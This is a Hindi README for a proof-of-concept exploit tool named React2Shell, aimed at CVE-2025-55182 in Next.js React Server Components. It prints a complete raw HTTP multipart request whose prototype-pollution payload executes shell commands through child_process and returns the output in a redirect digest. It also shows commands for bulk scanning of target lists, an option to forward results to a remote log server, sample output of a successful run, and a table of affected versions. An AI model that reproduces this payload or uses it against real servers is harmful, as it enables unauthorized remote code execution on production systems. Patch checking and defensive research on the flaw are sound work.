
React2Shell CVE-2025-55182 के लिए एक proof-of-concept एक्सप्लॉइट है जो Next.js में संवेदनशील React Server Components (RSC) कार्यान्वयनों को प्रभावित करता है।
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
INDRA द्वारा लिखित
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान किया गया है।
लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।
इस एक्सप्लॉइट का उपयोग केवल उन्हीं सिस्टम के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।
React2Shell CVE-2025-55182 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो Next.js में मौजूद कमजोर React Server Components (RSC) इम्प्लीमेंटेशन को प्रभावित करता है।
यह एक्सप्लॉइट एक क्राफ्टेड मल्टीपार्ट रिक्वेस्ट भेजता है जो कमजोर डिसीरियलाइज़ेशन फ्लो का दुरुपयोग करता है और एप्लिकेशन के रीडायरेक्ट डाइजेस्ट रिस्पॉन्स के माध्यम से कमांड आउटपुट निकालता है।
सफल होने पर, एक्सप्लॉइट निष्पादित कमांड का आउटपुट सीधे टर्मिनल में प्रदर्शित करता है।
Python 3.8+
निर्भरताएँ इंस्टॉल करें:
pip install requests urllib3
.
├── exploit.py
└── README.md
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
चलाएँ
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
अनुमति के बिना सिस्टम के विरुद्ध इस सॉफ़्टवेयर का अनधिकृत उपयोग स्थानीय, राष्ट्रीय या अंतरराष्ट्रीय कानूनों का उल्लंघन कर सकता है।
लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
शुभ शिकार 🕷️
| वर्ज़न | स्थिति |
|---|
| 19.0 | ⚠ कमजोर |
| 19.1.0 | ⚠ कमजोर |
| 19.1.1 | ⚠ कमजोर |
| 19.2.0 | ⚠ कमजोर |
| 19.0.1 | ✅ पैच किया गया |
| 19.1.2 | ✅ पैच किया गया |
| 19.2.1 | ✅ पैच किया गया |
| विकल्प | विवरण |
|---|
-u | टारगेट URL |
-f | टारगेट डोमेन वाली फ़ाइल |
-o | कमजोर टारगेट्स को लोकल रूप से सहेजें |
-l | परिणाम रिमोट लॉग सर्वर पर भेजें |
-h | मदद दिखाएँ |